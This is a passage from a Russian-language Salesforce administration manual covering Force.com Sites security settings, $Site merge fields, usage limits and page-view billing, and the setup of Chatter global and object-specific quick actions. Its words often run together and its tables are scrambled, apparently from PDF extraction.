• Клиенты, использующие сценарий для входа на сайты, могут использовать
дополнительный параметр URL-адреса (refURL), позволяющий сохранять имя
настраиваемогодоменапослевхода. Данныйпараметрнеприменяетсяприналичиифлажка «Требовать небезопасные
подключения (HTTP)», установленного для сайта, илифлажка «Требовать безопасные подключения (HTTPS)»,
установленного для организации. Пример URL-адреса, использующего параметр refURL:
http://moisait.secure.force.com/SiteLogin?refURL=http://moisait.com.

• Чтобы задать ограничения на основе времени входа или диапазона IP-адресов, рекомендуем использовать HTTPS.
Чтобы получить доступ к сайту, рекомендуем использовать безопасный URL-адрес, связанный с доменом Force.com.

• Чтобыиспользовать HTTPS навсех страницахсайтов Force.comиразрешитьвсем IP-адресамдоступк сайту, рекомендуем
создать следующие диапазоны IP-адресов: 0.0.0.0  — 255.255.255.255, ::  — ::fffe:ffff:ffff и
::1:0:0:0  — ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. Рекомендуем не использовать HTTPS без
необходимости, таккакданныйпротоколможетснизитьпроизводительностьсайта. Заменапротокола HTTP протоколом
HTTPS влияет на зарегистрированных пользователей только при следующем входе.

• Проверенныминепровереннымпользователяммогутотображатьсяразныесообщенияобошибкахдляопределенных
условий (например, для исключений Apex).

• Только производственные организации используют действительные SSL-сертификаты secure.force.com для
доступа к сайтам посредством HTTPS.
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Прим.: Использование HTTPS для доступа к сайту в безопасной (непроизводственной) организации может
инициировать отображение предупреждения о несоответствии имени сертификата.

• Параметрам кэширования для статических ресурсов назначается значение «Личный» при использовании сайта
Force.com, поддерживающегоограниченияподиапазону IP-адресовиливременивходадляпрофиляпользователя-гостя.
Сайты, поддерживающие ограничения для профиля пользователя-гостя, кэшируют статические ресурсы только в
пределахобозревателя. Крометого, приограничениидоступакобщедоступномусайту удалениестатическихресурсов
из кэша Salesforce и любого промежуточного кэша может занять до 45 дней.

Внимание:

• Рекомендуем задать объектам, доступным на сайте для чтения, параметр общего доступа «Личный». Данное
действие гарантирует, что пользователи, открывающие сайт, смогут просматривать и редактировать только
данные, связанные с сайтом.

• Крометого, рекомендуемобезопаситьдоступностьвсехсписковыхпредставлений. Выберитеуровеньдоступности
«Доступно определенным группам пользователей» для списковых представлений и укажите нужные группы.
Списковые представления, которым назначен уровень доступности «Доступно всем пользователям», могут
отображатьсяобщедоступнымпользователямсайта. Чтобыпредоставитьобщедоступнымпользователямдоступ
к списковомупредставлению, рекомендуем создать общедоступнуюгруппуиопределить уровень доступности.
Объекты, которым назначен уровень общего доступа «Личный», не могут просматриваться общедоступными
пользователями, независимо от доступности спискового представления.

Методы и выражения Apex, связанные с Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Методы Force.com Apex

Методы Apex для Force.com Sites хранятся в классах site, cookie и urlRewriter.
См. Руководство разработчика Force.com Apex Code.

Выражения, связанные с Force.com Sites

Ниже перечислены выражения, поддерживаемые платформой Force.com для
использования на страницах Visualforce, в шаблонах эл. почты и элементах S-Control.

ОписаниеПоле слияния

Возвращает имя API-интерфейса текущего сайта.$Site.Name

Возвращает имя домена Force.com для организации.$Site.Domain

Возвращает настраиваемый URL-адрес запроса (при
отсутствии компонента force.com) или основной
настраиваемый URL-адрессайта. Приотсутствииобоих
URL-адресовданноеполе слияниявозвращаетпустую
строку. Обратитевнимание, чтопуть URL-адресавсегда

$Site.CustomWebAddress

является корневым (дажеприналичиипрефиксапути
в настраиваемом URL-адресе запроса). Если текущий
запрос не является запросом сайта, то данное поле
возвращает пустую строку. Значение данного поля
всегда заканчивается символом /. Использование
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ОписаниеПоле слияния

поляслияния $Site.CustomWebAddress нежелательно. Рекомендуемзаменить
его полем слияния $Site.BaseCustomUrl.

Возвращает исходный URL-адрес страницы, являющейся специальной
страницей ошибок. В противном случае возвращает значение null.

$Site.OriginalUrl

Возвращает основной URL-адрес текущего сайта, который должен
использоваться ссылками. Обратите внимание, что данное поле может

$Site.CurrentSiteUrl

возвращать URL-адрес ссылающейсястраницывзамен URL-адреса текущего
запроса. Значение данного поля содержит префикс пути и всегда
заканчивается символом /. Если текущий запрос не является запросом
сайта, то данное поле возвращает пустую строку. Использование поля
слияния $Site.CurrentSiteUrl нежелательно. Рекомендуемзаменить егополем
слияния $Site.BaseUrl.

Возвращает значение true, если текущий сайт связан с активным
порталом, поддерживающим вход; в противном случае возвращает
значение false.

$Site.LoginEnabled

Возвращает значение true, если текущий сайт связан с активным
клиентскимпорталом, поддерживающимсамостоятельнуюрегистрацию.
В противном случае возвращает значение false.

$Site.RegistrationEnabled

Для проверенных пользователей: возвращает значение true, если срок
действия пароля вошедшего пользователя истек. Для непроверенных
пользователей: возвращает значение «ложь».

$Site.IsPasswordExpired

Возвращает значение поля «Контакт для сайта» для текущего сайта.$Site.AdminEmailAddress

Возвращает префикс пути URL-адреса текущего сайта. Например, при
использовании URL-адреса сайта myco.force.com/partners

$Site.Prefix

префиксом пути является компонент /partners. Возвращает значение
null при отсутствии префикса. Если текущий запрос не является
запросом сайта, то данное поле возвращает пустую строку.

Возвращает имя шаблона, связанного с текущим сайтом; в противном
случае возвращает стандартныйшаблон.

$Site.Template

Возвращает сообщение об ошибке для текущей страницы, являющейся
специальной страницей ошибок, при наличии ошибки; в противном
случае возвращает пустую строку.

$Site.ErrorMessage

Возвращает описание ошибки для текущей страницы, являющейся
специальной страницей ошибок, при наличии ошибки; в противном
случае возвращает пустую строку.

$Site.ErrorDescription

Кодотслеживания, связанныйссайтом. Данныйкодможетиспользоваться
службами (например, Google Analytics) для отслеживания данных по
запросам страницы сайта.

$Site.AnalyticsTrackingCode

Возвращаетосновной URL-адресдлятекущегосайта, которыйнеиспользует
субдомена Force.com. Возвращенный URL-адресиспользуетпротокол (HTTP

$Site.BaseCustomUrl
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ОписаниеПоле слияния

или HTTPS) текущего запроса, приусловии, что сайт содержиткакминимум
один настраиваемый URL-адрес, который не принадлежит Force.com, но
поддерживает протокол HTTPS. Возвращенное значение никогда не
заканчивается символом /. Если все настраиваемые URL-адреса данного
сайта заканчиваются компонентом force.com или данный сайт не
содержитнастраиваемых URL-адресов, тоданноеполе слияниявозвращает
пустуюстроку. Еслитекущийзапроснеявляется запросомсайта, тоданный
метод возвращает пустую строку.

Данное поле заменяет поле CustomWebAddress и содержит префикс
пути настраиваемого URL-адреса.

Возвращает основной URL-адрес для текущего сайта, который заменяет
протокол HTTPS протоколом HTTP. Приэтомиспользуется доментекущего

$Site.BaseInsecureUrl

запроса. Возвращенное значение содержит префикс пути и никогда не
заканчивается символом /. Если текущий запрос не является запросом
сайта, то данный метод возвращает пустую строку.

Возвращает основной URL-адрес текущего сайта для запрошенного
URL-адреса. Данное значение не зависит от URL-адреса ссылающейся

$Site.BaseRequestUrl

страницы. Возвращенный URL-адресиспользуетпротокол (HTTP или HTTPS)
текущего запроса. Возвращенное значение содержит префикс пути и
никогда не заканчивается символом /. Если текущий запрос не является
запросом сайта, то данный метод возвращает пустую строку.

Возвращает основной URL-адрес для текущего сайта, который заменяет
протокол HTTP протоколом HTTPS. Приэтомиспользуется доментекущего

$Site.BaseSecureUrl

запроса, поддерживающий протокол HTTPS. Рекомендуем использовать
домены, которые не являются субдоменами Force.com, взамен субдоменов
Force.com. Субдомен Force.com, связанный с сайтом, используется только
при отсутствии других доменов HTTPS на текущем сайте. Если сайт не
содержит настраиваемых URL-адресов HTTPS, то данныйметод возвращает
пустуюстроку. Возвращенноезначениесодержитпрефикспутииникогда
не заканчивается символом /. Если текущий запрос не является запросом
сайта, то данный метод возвращает пустую строку.

Возвращает основной URL-адрес текущего сайта, который должен
указываться в ссылках. Обратите внимание, что данное поле может

$Site.BaseUrl

возвращать URL-адрес ссылающейсястраницывзамен URL-адреса текущего
запроса. Значение данного поля содержит префикс пути и никогда не
заканчивается символом /. Если текущий запрос не является запросом
сайта, то данное поле возвращает пустую строку.

Данное поле заменяет поле слияния $Site.CurrentSiteUrl.

Возвращает значение поля «Основная метка» для текущего сайта. Если
текущий запрос не является запросом сайта, то данное поле возвращает
пустую строку.

$Site.MasterLabel
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ОписаниеПоле слияния

Возвращаеткодтекущегосайта.Еслитекущийзапроснеявляется запросом
сайта, то данное поле возвращает пустую строку.

$Site.SiteId

Возвращает значение API-интерфейса в поле «Тип сайта» для текущего
сайта. Если текущий запрос не является запросом сайта, то данное поле
возвращает пустую строку.

$Site.SiteType

Возвращает значение метки поля «Тип сайта» для текущего сайта. Если
текущий запрос не является запросом сайта, то данное поле возвращает
пустую строку.

$Site.SiteTypeLabel

Прим.: Данныевыражениядоступнытолькоприиспользованиисайтов Force.com ворганизации. Данныевыражения
должны использоваться в контексте общедоступного сайта; в противном случае все выражения, кроме выражения
{!$Site.Template}, возвращающего стандартныйшаблон сайта, возвращают пустую строку.

СМ. ТАКЖЕ:

Настройка Force.com Sites

Рекомендации по использованию Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Преждечемсоздатьииспользовать сайты Force.com, просмотритеперечисленныениже
рекомендации.

Пакетирование
Ниже перечислены рекомендации по пакетированию сайтов.

• Сайты не поддерживают пакетирование. Тем не менее, пример кода, страницы
Visualforce, классы Apex или компоненты сайта могут быть добавлены в
управляемый пакет.

• Чтобы установить неуправляемый пакет, содержащий страницы Visualforce или
классы Apex, ссылающиеся на сайт, рекомендуем включить сайты Force.com.

Доступ и проверка подлинности
Системапозволяетпредоставлятьполномочия «Чтение» и «Создание» длявсехстандартныхобъектов, кромепродуктов,
прайс-листов и идей, а полномочия «Чтение», «Создание», «Редактирование» и «Удаление» для всех настраиваемых
объектов.Дополнительныйдоступпредоставляетсятолькотемпосетителямсайта, которыепровереныкакпользователи
портала.

Настраиваемая проверка подлинности не поддерживается. Ниже перечислены доступные способы проверки
подлинности.

• Клиентские порталы: включение общедоступного входа и регистрации

• Партнерские порталы: создание пользователей-партнеров

Совет: При необходимости разрешите порталам поддержку единой регистрации и сайтов.

СМ. ТАКЖЕ:

Настройка Force.com Sites
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Ограничения и выставление счета для Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Использование сайтов Force.com регулируется ежемесячными и ежедневными
ограничениями. Понимание данных ограничений обуславливает успешность
использования сайтов. Компания Salesforceпредоставляет пользователяминструменты,
позволяющие сокращать использование пропускной способности и отслеживать
показатели использования сайтов.

Данный раздел содержит перечисленные ниже подразделы.

• Терминология по ограничениям и выставлению счета

• Ограничения для сайтов

• Выставление счета и применение ежемесячных просмотров страниц

• Что считается просмотром страницы?

Терминология по ограничениям и выставлению счета
Данный раздел содержит основные термины, применяемые к ограничениям по выставлению счета для сайтов Force.com.

• «Просмотры страниц» — это общее количество страниц, обработанных сервером-источником сайта или сервером
кэширования.

• «Пропускная способность» — это количество мегабайт, переданных и принятых сервером-источником сайта и
сервером кэширования.

• «Время запроса на обслуживание» — это общее время сервера (в минутах), необходимое для создания страниц сайта.

• «Истекшие сутки» — это последние 24 часа, предшествующие текущему времени.

• «Сервер-источник» — это веб-сервер, используемый для размещения сайта.

• «Сервер кэширования» — это CDN-сервер, обслуживающий кэшированные страницы сайта.

• «Текущийпериод» — этотекущийкалендарныймесяц, втечениекоторогопользователяморганизациипредоставляется
определенное количество просмотров страниц.

Ограничения для сайтов
Таблица ниже содержит ограничения для сайтов, применяемые в каждой версии.

Максимальное
количество
просмотров
страниц

Время запроса на
обслуживание (за
истекшие сутки на сайт)

Ограничение пропускной
способности (за истекшие
сутки на сайт)

Максимальное
количество
сайтов

Версия

—10 минут500 Мб1Developer Edition

500,00030 минут для безопасной
среды

60 часов для
производственной среды

1 Гб для безопасной среды

40 Гбдляпроизводственной
среды

25Enterprise Edition
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Максимальное
количество
просмотров
страниц

Время запроса на
обслуживание (за
истекшие сутки на сайт)

Ограничение пропускной
способности (за истекшие
сутки на сайт)

Максимальное
количество
сайтов

Версия

1,000,00030 минут для безопасной
среды

60 часов для
производственной среды

1 Гб для безопасной среды

40 Гбдляпроизводственной
среды

25Unlimited Edition

Performance Edition

Убедитесь, что поддерживаются все доступные функции кэширования, позволяющие избежать превышения данных
ограничений, и применяются инструменты аналитики «Использование сайтов».

Выставление счета и применение ежемесячных просмотров страниц
Данный раздел содержит ограничения Salesforce, применяемые к ежемесячным просмотрам страниц сайтов.

• Счет выставляетсяисходяиз количества ежемесячныхпросмотровстраниц, приобретенногодляорганизации. Данное
ограничение является общим для всех сайтов организации.

• Если организация достигает 110% от установленного ограничения в отдельном календарном месяце, то компания
Salesforce отправляет соответствующее электронное уведомление администраторам сайта и ответственным за
выставление счета.

• Если организация превышает 110% от установленного ограничения на протяжении четырех последовательных
календарных месяцев, то сайты отключаются до начала следующего календарного месяца или приобретения
дополнительных просмотров страниц. Кроме того, компания Salesforce отправляет соответствующее электронное
уведомление администраторам сайта, ответственным за выставление счета и связанным менеджерам по работе с
клиентами.

• Если организация достигает 300% от установленного ограничения в отдельном календарном месяце, то сайты
отключаются доначала следующего календарногомесяца илиприобретения дополнительныхпросмотров страниц.
Кроме того, компания Salesforce отправляет соответствующее электронное уведомление администраторам сайта,
ответственным за выставление счета и связанным менеджерам по работе с клиентами.

Что считается просмотром страницы?

Данный раздел содержит дополнительную информацию о просмотрах страниц.

Просмотр страницы — это запрос от непроверенного пользователя сайта на загрузку страницы, связанной с сайтом
доменаForce.comилинастраиваемогодомена. Запросыотпроверенныхпользователейпорталанесчитаютсяпросмотрами
страниц.

Запросы, которые считаются просмотрами страниц
Ниже перечислены запросы, которые считаются просмотрами страниц.

Пример URL-адресаОбъект запроса

http://moyakompaniya.force.comСобственный домен Force.com

http://moyakompaniya.comСобственный настраиваемый веб-адрес

http://moyakompaniya.force.com/moyastranitsaЛюбая страница, связанная с сайтом
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Пример URL-адресаОбъект запроса

http://moyakompaniya.force.com/UnauthorizedСтраница ошибки «Требуется
авторизация»

—Запросы AJAX. Например:

• Удаленныйвызов JavaScript (например,
Apex RemoteAction)

• Visualforce <apex:actionFunction>

• Visualforce <apex:actionPoller>

Запросы, которые не считаются просмотрами страниц
Ниже перечислены запросы, которые не считаются просмотрами страниц.

Пример URL-адресаОбъект запроса

http://moyakompaniya.force.com/img/force_logo_w09.gifИзображения Salesforce

http://moyakompaniya.force.com/resource/1233771498000/backgroundСобственные статические ресурсы

http://moyakompaniya.force.com/robots.txtRobots.txt

http://moyakompaniya.force.com/favicon.icoИзбранный значок

—Вложения и документы

http://moyakompaniya.force.com/BandwidthExceededСтраницы ошибок, кроме страницы
«Требуется авторизация» (например,
«Превышено ограничение» и
«Обслуживание»)

http://moyakompaniya.force.com/servlet/rtaImageИзображения, добавленные с HTML-полем

http://moyakompaniya.force.com/servlet/fileFieldНастраиваемое файловое поле

Прим.: Пропускнаяспособностьипросмотрыстраниц «Превышеноограничение», «Обслуживание», «Страница
ненайдена» иливыбранныхнеактивныхначальныхстраницнеучитываются заданнымиограничениями. Данные
страницы могут быть оформлены посредством статических ресурсов. Ниже перечислены действующие
ограничения.

• Размер статического ресурса не должен превышать 50 Кб.

• Статическими ресурсами могут быть таблицы стилей (CSS), графические файлы или файлы JavaScript.

• Данные страницы не поддерживают использование контроллеров Apex.

• Данные страницы не поддерживают выполнение операций SOQL или DML.

СМ. ТАКЖЕ:

Просмотр журнала круглосуточного использования Force.com Sites

Отслеживание сайта Force.com посредством Google Analytics
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Могут ли мои сайты Force.com и мои сообщества использовать одинаковое имя
домена?
Нет. Система не позволяет использовать одинаковое имя домена.

СайтыForce.comисообществадолжныиспользоватьуникальноеимядомена. Чтобыразрешитьсообществамиспользование
имени домена, используемого сайтом Force.com, обратитесь за помощью в службу поддержки Salesforce.

Расширение области действия организации

Действия, настраиваемые кнопки и ссылки

Действия, кнопки и ссылки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования кнопок,
ссылок и действий:
• «Настройка

приложения»

Кнопки и ссылки
Кнопки и ссылки позволяют пользователям взаимодействовать с данными Salesforce, а
также внешними веб-сайтами и службами (например, поисковые системы и
интерактивные карты). Salesforce включает в себя набор стандартных кнопок и ссылок.
Пользователи также могу создавать собственные кнопки и ссылки.

• Общие сведения о настраиваемых кнопках и ссылках

• Определение настраиваемых кнопок и ссылок

• Поля настраиваемых кнопок и ссылок

• Переопределение стандартных кнопок и начальных страниц вкладок

Действия
Действия позволяют пользователям выполнять задачи (например, создание записей) в
публикаторе Chatter и приложении Salesforce1.

• Действия

• Настройка действий при включенной поддержке Chatter

• Создание объектных быстрых действий

• Создание глобальных быстрых действий

• Настройка действий посредством редактора макетов действий

• Настройка действий посредством расширенного редактора макетов страниц
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Действия

Действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Быстрые действия доступны
в версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настраиваемые действия
холста доступны в версиях:
Professional Edition (при
использовании Force.com
Canvas), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Действия добавляют функциональность к Salesforce. Пользователи могут выбирать
стандартные действия (например, действия создания и обновления) или создавать
действия на основе текущих бизнес-требований.

Системапозволяет создаватьдействияидобавлятьихвпубликаторChatterнаначальной
странице, вкладке Chatter, страницах сведений о записях и в группах Chatter. В Salesforce
Classic действия видны в публикаторе Chatter. В Lightning Experience действия видны в
различных областях интерфейса пользователя в зависимости от типа действия.
Приложение Salesforce1 отображает действия на панели действий, в связанном меню
действий и в виде действий над элементом списка.

Действия позволяют пользователям расширить свои возможности в системе Salesforce
иприложении Salesforce1. Например, создаватьилиобновлять записиирегистрировать
вызовы прямо в ленте Chatter или на мобильных устройствах пользователей.

Система поддерживает разные категории действий, например стандартные действия
Chatter, нестандартныедействия, действияпо умолчанию, мобильныеинтеллектуальные
действия, настраиваемые действия и действия продуктивности. Действия, доступные в
полнойверсии Salesforce, определяютсяналичиемChatter, функцииотслеживанияленты
и действий в публикаторе. Действия, доступные в приложении Salesforce1, не зависят от
наличияChatterилидействийвпубликаторе. Дополнительнуюинформациюовлиянии
Chatterнадоступностьдействийсм. вразделе «Действияпривключеннойивыключенной
поддержке Chatter» на странице 5364.

Область
отображения

Доступные
действия

ОписаниеКатегория

Salesforce и
Salesforce1

В Lightning
Experience

«Сообщение»,
«Файл», «Ссылка»,
«Опрос», «Вопрос»
и «Благодарность»
(для организаций,

Стандартные действия
Chatter включены, если
работает Chatter.
Пользователи могут
настраивать порядок их

Стандартные
действия
Chatter

поддерживаются
использующихотображения, но не могут

редактировать их свойства.

Стандартные действия
Chatter требуют наличия

только сообщения
и объявления.Work.com) и

«Объявления»
(группы).

функции отслеживания
ленты для объектов.

Salesforce и
Salesforce1

Нестандартные действия —
это действия, создаваемые и
настраиваемые

Нестандартные
действия

пользователями. Действия
могутбыть глобальнымиили
объектными.
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Область отображенияДоступные действияОписаниеКатегория

Salesforce и Salesforce1Определяются объектом.
Список глобальных

Действия по умолчанию — это
предопределенные действия,

Действия по
умолчанию

действий и действий поподдерживаемые системой Salesforce,
умолчанию, применяемых кчтобы пользователи смогли начать
каждому объекту, см. виспользовать действия в вашей
разделе «Действия по
умолчанию»настранице5349.

организации. Добавьте действия по
умолчаниювмакетыпубликатора, чтобы
сделать их доступными пользователям
на всем сайте Salesforce и на панели
действий в Salesforce1.

Действия по умолчанию
поддерживаются организациями,
обращениями, контактами, интересами
и возможностями.

Salesforce1Определяются объектом.
Список действий,

Мобильные интеллектуальные
действия — это набор стандартных

Мобильные
интеллектуальные
действия поддерживаемыхэлементом

«Мобильные
действий (например, действия по
умолчанию), поддерживаемыхдлятакого
же списка объектов.

Мобильныеинтеллектуальныедействия
отображаются как единый элемент в
редакторе макетов страниц.

интеллектуальныедействия»
для каждого объекта, см. в
разделе «Мобильные
интеллектуальныедействия»
на странице 5353.

В приложении Salesforce1 элемент
«Мобильные интеллектуальные
действия» отображается как набор
отдельных действий создания,
позволяющих пользователям создавать
записи прямо в ленте.

Salesforce и Salesforce1

Не поддерживается
группами Chatter,
содержащими клиентов.

Настраиваемые действия,
созданные пользователем.

Настраиваемые действия — это страницы
Visualforce или приложения холста,
поддерживающие заданные функции.
Например, создайте настраиваемое
действие, позволяющее пользователям

Настраиваемые
действия

добавлять комментарии длиною более
5 000 символов, или настраиваемое
действие, интегрирующее приложение
для видеоконференций, которое
позволяет агентам службы поддержки
зрительновзаимодействоватьсосвоими
клиентами.

Настраиваемые действия могут быть
глобальными или объектными.
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Область отображенияДоступные действияОписаниеКатегория

Salesforce (только Lightning
Experience) и Salesforce1

Определяются объектом. К
даннымдействиямотносятся
действияотправкиэл. почты,

Продуктивные действия — это
предопределенные действия,
поддерживаемые системой Salesforce и

Продуктивные
действия

регистрации вызова,применяемые к ограниченному набору
просмотра веб-сайта и
чтения новостей.

объектов. Продуктивные действия
недоступны для редактирования или
удаления.

Ниже перечислены объекты,
поддерживающие продуктивные
действия.

• Организация

• Контакт

• Событие

• Интерес

• Пользователь

• Профиль пользователя

Типы действий, поддерживаемые категориями действий, определяются их функциями.

• Действия создания позволяют пользователям создавать записи. Данные действия отличаются от разделов «Быстрое
создание» и «Создать...» начальной страницы Salesforce, так как действия создания поддерживают правила проверки
и обязательность полей, а пользователи могут при необходимости выбирать поля каждого действия.

• Действия регистрации вызова позволяют пользователям записывать сведения о телефонных вызовах или других
взаимодействиях с клиентами. Данные журналы вызовов сохраняются в качестве выполненных задач.

• Действия публикации вопроса позволяют пользователям задавать и находить вопросы по обрабатываемым записям.

• Действия отправки эл. почты, доступные только для обращений, предоставляют пользователям доступ к упрощенной
версии действия «Эл. почта» ленты обращений в приложении Salesforce1.

• Действия обновления позволяют пользователям изменять запись.

Действия создания, действия регистрации вызова и настраиваемые действия позволяют создавать объектные или
глобальные действия. Действия обновления должны быть объектными.

СМ. ТАКЖЕ:

Настройка действий при включенной поддержке Chatter

Рекомендации по использованию действий
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Включение действий в публикаторе Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения действий в
публикаторе Chatter:
• «Настройка

приложения»

Включение действий в публикаторе позволяет добавлять созданные действия в
публикаторы Chatter на начальной странице, вкладке Chatter, страницах сведений о
записях и в группах Chatter.

По умолчанию публикатор Chatter отображает стандартные действия «Сообщение»,
«Файл», «Ссылка», «Опрос», «Вопрос» и «Благодарность». Кроме того, при включении
действий в публикаторе пользователи могут дополнять публикатор Chatter
нестандартнымидействиями. Кнестандартнымдействиямотносятся действия создания,
действияобновления, действиярегистрациивызова, настраиваемыедействияимобильные
интеллектуальные действия.

При использовании организаций, созданных после выпуска Winter'14, действия в
публикаторе включаются автоматически.

1. Введите строку «Параметры Chatter» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Chatter».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить действия в публикаторе».

4. Нажмите кнопку «Сохранить».

Прим.: Приложение Salesforce1 и сторонние приложения поддерживают
действиявпубликаторебезихпредварительноговключения. Дополнительную
информацию см. в разделе «Действия при включенной и выключенной
поддержке Chatter».

СМ. ТАКЖЕ:

Добавление действий для глобальных макетов публикатора

Действия

Глобальные действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Принеобходимости добавьте глобальные действияна страницу, которая поддерживает
действия, такую как «Начальная страница», вкладка Chatter и страницы объектов.
Глобальные действия создания позволяют создавать записи объектов, однако связь
между новой записью и другими записями при этом отсутствует.

Кроме того, с помощью глобальных действий «Создать запись» пользователи
Salesforce for Outlook могут создавать записи прямо на боковой панели Salesforce.
Дополнительную информацию см. в разделе «Настройка пользователей для создания
записей прямо на боковой панели Salesforce» на странице 2291.

Прим.: Независимо от действий, доступных в макете страницы пользователя,
страница профиля пользователя отображает только стандартные действия Chatter
(«Сообщение», «Файл», «Ссылка», «Опрос» и «Благодарность»).

Чтобы разрешить пользователям задавать вопросы в ленте Chatter, группах и записях,
добавьте действие публикации вопроса в глобальные макеты.
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Добавьте действие «Записать вызов в журнал» в глобальные макеты, чтобы пользователи могли записывать сведения о
вызовах с глобальных страниц. Например, пользователи могут записывать вызовы в журнал с начальной страницы и
вкладки Chatter на сайте Salesforce или со страниц ленты или групп в Salesforce1.

Чтобы создать глобальное настраиваемое действие для задач, которые не требуют использования записей, связанных с
конкретным объектом, воспользуйтесь страницей Visualforce или приложением холста. Приложения холста, которые
должны использоваться в качестве настраиваемых действий, должны использовать область «Публикатор». Страницы
Visualforce, которыедолжныиспользоватьсявкачестве глобальныхнастраиваемыхдействий, немогутсодержатьстандартные
контроллеры. Например, чтобы создать настраиваемое действие, позволяющее пользователям вводить улицу, а также
просматриватькарту, локальноевремяипогоду, рекомендуемсоздатьстраницуVisualforce, котораянесодержитстандартных
контроллеров, и добавить ее в качестве настраиваемого глобального действия.

Дополнительнуюинформациюоприложенияххолстаинастраиваемыхдействияхсм. вРуководстверазработчикаприложения
Salesforce1.

Прим.:

• Группы Chatter, содержащие клиентов, не поддерживают глобальные действия создания, действия регистрации
вызова и настраиваемые действия, поэтому отображают только стандартные действия Chatter (например,
«Сообщение», «Файл», «Ссылка» и «Опрос»).

• Действия создания записей для объекта, являющегося подробным во взаимосвязи «Основная — подробная»,
должны быть объектными, а не глобальными.

Поддерживаемые объекты для действий создания

Система поддерживает создание глобальных действий, позволяющих пользователям создавать указанные ниже типы
записей.

• Организация

• Кампания

• Обращение

• Контакт

• Контракт

• Настраиваемые объекты

• Событие (без приглашенных)

• Группа

• Интерес

• Возможность

• Задача

• Вопрос

СМ. ТАКЖЕ:

Объектные действия

Действия при включенной и выключенной поддержке Chatter

Действия
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Создание глобальных быстрых действий

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Глобальные действия можно добавить на страницы с поддержкой действий (например,
главную), вкладки Chatter и страницы объектов. Например чтобы разрешить
пользователям записывать сведения о вызовах непосредственно из потока Chatter,
добавьте в глобальные макеты действия регистрации вызова.

Просмотреть обзор: создание глобального быстрого действия

1. Введитестроку «Действия» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Глобальные действия».

2. Нажмите кнопку «Создать действие».

3. Выберите нужный тип действия.

4. Настройте действие.

• При выборе типа действия «Создать запись» выберите нужный тип объекта. Если объект использует несколько
типов записей, выберите тип, которыйдолженбытьназначен записям, созданнымпосредствомданногодействия.

• При выборе типа действия «Настраиваемое действие» выберите нужную страницу Visualforce или приложение
холста и укажите высоту окна действия. Ширина окна не меняется.

5. Введите метку действия. Эта метка отображается в меню публикатора.

Совет: При создании действия «Создать запись» или «Записать вызов в журнал» выберите параметр списка
«Тип стандартной метки» для создания метки системой Salesforce. Система Salesforce добавляет создаваемый
тип объекта или тип записи в метки данного списка, содержащие слова «Запись» и «Тип записи». Например,
привыборе стандартнойметки «Создать запись» для действия создания контакта система создастметку «Создать
контакт».

6. При необходимости измените имя действия.
Данное имя используется интерфейсом API и управляемыми пакетами. Имя должно начинаться с буквы и содержать
толькобуквы, цифрыисимволыподчеркивания; имянеможет заканчиваться символомподчеркиванияилисодержать
два последовательных символа подчеркивания. Рекомендуем редактировать данное поле только при наличии опыта
использования API.

7. Введите описание действия.
Описание отображается на странице сведений о действии и в списке на странице «Кнопки, ссылки и действия».
Описание недоступно пользователям.При создании нескольких действий для одного объекта рекомендуем
использовать подробное описание (например, «Создание контакта организации посредством типа записи "Новый
клиент"»).

8. Для действий «Создать запись» и «Записать вызов в журнал» укажите, требуется ли создавать элемент ленты по
завершении действия.

9. Для действий «Создать запись», «Обновить запись» и «Записать вызов в журнал» можно добавить настраиваемые
сообщения об успешном выполнении.

10. Чтобы выбрать другой значок для действия, щелкните «Изменить значок».

Размер настраиваемых изображений, используемых для значков действий, не должен превышать 1 Мб.

11. Нажмите кнопку «Сохранить».

После создания действия настройте соответствующиймакет, добавьте предопределенные значения и добавьте действие
в макеты страниц.
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Совет: Удаление действия инициирует его удаление из всех назначенных макетов.

СМ. ТАКЖЕ:

Настраиваемые сообщения об успешном завершении операции для быстрых действий

Создание объектных быстрых действий

Действия

Страницы Visualforce как объектные настраиваемые действия

Объектные действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Быстрые действия доступны
в версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настраиваемые действия
холста доступны в версиях:
Professional Edition (при
использовании Force.com
Canvas), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Объектные действия — это действия, позволяющие пользователям быстро создавать
илиобновлятьзаписи, регистрироватьвызовы, отправлятьсообщенияэл. почтыимногое
другое (в контексте определенного объекта).

Объектные действия создают записи, которые автоматически связываются с
соответствующими записями.Например, добавляем объектное действие, создающее
контакты, для объекта «Организация». Если пользователь создает контакт с действием
на странице сведений об организации Acme, этот контакт будет автоматически связан с
